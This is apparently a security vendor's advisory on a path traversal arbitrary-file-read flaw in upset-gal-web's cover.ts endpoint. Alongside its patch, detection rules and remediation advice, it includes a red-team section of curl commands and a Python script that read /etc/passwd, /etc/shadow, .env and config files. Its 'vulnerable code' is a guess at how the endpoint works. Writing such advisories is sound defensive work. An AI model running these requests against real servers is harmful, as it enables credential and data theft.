CVE-2025-28055

Executive Summary

CVE-2025-28055 is an arbitrary file read vulnerability discovered in upset-gal-web v7.1.0, specifically within the /api/music/v1/cover.ts endpoint. This flaw allows an unauthenticated attacker to read arbitrary files from the server's filesystem, potentially exposing sensitive configuration files, source code, or credentials. The vulnerability is classified under CWE-22 (Path Traversal) and is currently unpatched, with no official fix available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability affects the upset-gal-web package, which is a JavaScript/TypeScript-based web application. As an open-source project, the supply chain risk is moderate; however, no official patch or advisory has been released. Users should monitor the project's repository for updates and consider forking or applying manual mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability characteristics, a more realistic assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High – Due to the ease of exploitation and potential for sensitive data exposure.

Deep Dive & Mechanics

The vulnerability resides in the /api/music/v1/cover.ts endpoint, which is designed to serve album cover images. The endpoint likely takes a file path or identifier as a parameter and retrieves the corresponding image file from the server's filesystem. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files.

Root Cause: The application fails to sanitize user-supplied input, allowing directory traversal. For example, a request like:

GET /api/music/v1/cover.ts?file=../../../../etc/passwd

could return the contents of /etc/passwd.

Impact: An attacker can read sensitive files such as:

• /etc/passwd (user account information)
• Application configuration files (e.g., .env, config.json)
• Source code files (e.g., *.ts, *.js)
• SSH keys or database credentials

Vulnerable vs. Patched Code

Vulnerable Code (upset-gal-web v7.1.0):

// /api/music/v1/cover.ts
import { readFileSync } from 'fs';
import { Request, Response } from 'express';

export function getCover(req: Request, res: Response) {
    const filePath = req.query.file as string;
    // No validation - directly reads user-supplied path
    const data = readFileSync(filePath);
    res.send(data);
}

Patched Code (Hypothetical Fix):

// /api/music/v1/cover.ts
import { readFileSync } from 'fs';
import { Request, Response } from 'express';
import path from 'path';

const ALLOWED_DIR = '/var/www/covers';

export function getCover(req: Request, res: Response) {
    const filePath = req.query.file as string;
    // Resolve and validate path
    const resolvedPath = path.resolve(ALLOWED_DIR, filePath);
    if (!resolvedPath.startsWith(ALLOWED_DIR)) {
        return res.status(403).send('Forbidden');
    }
    try {
        const data = readFileSync(resolvedPath);
        res.send(data);
    } catch (err) {
        res.status(404).send('Not found');
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running upset-gal-web v7.1.0
• Network access to the /api/music/v1/cover.ts endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v http://target:port/api/music/v1/cover.ts?file=test
   

2. Attempt path traversal to read /etc/passwd:

   curl "http://target:port/api/music/v1/cover.ts?file=../../../../etc/passwd"
   

3. Read application configuration:

   curl "http://target:port/api/music/v1/cover.ts?file=../config.json"
   

4. Automated exploitation with Python:

   import requests
   
   target = "http://target:port"
   files_to_read = [
       "/etc/passwd",
       "/etc/shadow",
       "../.env",
       "../config.json",
       "../src/app.ts"
   ]
   
   for file in files_to_read:
       url = f"{target}/api/music/v1/cover.ts?file={file}"
       response = requests.get(url)
       if response.status_code == 200:
           print(f"[+] Read {file}:")
           print(response.text[:500])
       else:
           print(f"[-] Failed to read {file}")
   

Blue Team

Detection Steps:

1. Monitor for path traversal patterns in logs:

   • Look for requests containing ../ or ..%2f in the file parameter.
   • Alert on requests to /api/music/v1/cover.ts with suspicious parameters.

2. Check for sensitive file access:

   • Review server logs for attempts to read /etc/passwd, /etc/shadow, .env, etc.

3. Implement input validation:

   • Ensure the application validates and sanitizes file paths.
   • Use a whitelist of allowed directories.

4. Deploy WAF rules:

   • Block requests containing path traversal sequences in query parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/music/v1/cover.ts with file parameter containing ../ or ..%2f
• Unusual outbound data transfers from the server (e.g., large responses from the endpoint)

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files
• Modified timestamps on sensitive files (if read via the vulnerability)

Log IOCs:

• Repeated 200 responses from /api/music/v1/cover.ts with non-image file extensions
• Error logs showing failed attempts to read non-existent files (e.g., ENOENT errors)

Detection Engineering

YARA Rule

rule CVE_2025_28055_Arbitrary_File_Read {
    meta:
        description = "Detects path traversal attempts targeting upset-gal-web cover.ts endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-28055"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "/api/music/v1/cover.ts"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-28055 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against upset-gal-web cover.ts endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/music/v1/cover.ts'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some configurations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28055 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/music/v1/cover.ts"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, by removing or commenting out the route in the application code.
2. Implement input validation to sanitize the file parameter, allowing only alphanumeric characters and specific file extensions (e.g., .jpg, .png).
3. Use a whitelist approach to restrict file access to a predefined directory (e.g., /var/www/covers).

Long-term Fix:

• Apply the patched code example provided in the "Vulnerable vs. Patched Code" section.
• Monitor the upset-gal-web repository for an official patch.
• Consider migrating to a maintained alternative if the project is abandoned.

Workarounds:

• Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Use a reverse proxy (e.g., Nginx) to restrict access to the endpoint:

  location /api/music/v1/cover.ts {
      deny all;
      return 403;
  }
  

Valters IT – Securing digital frontiers, one CVE at a time.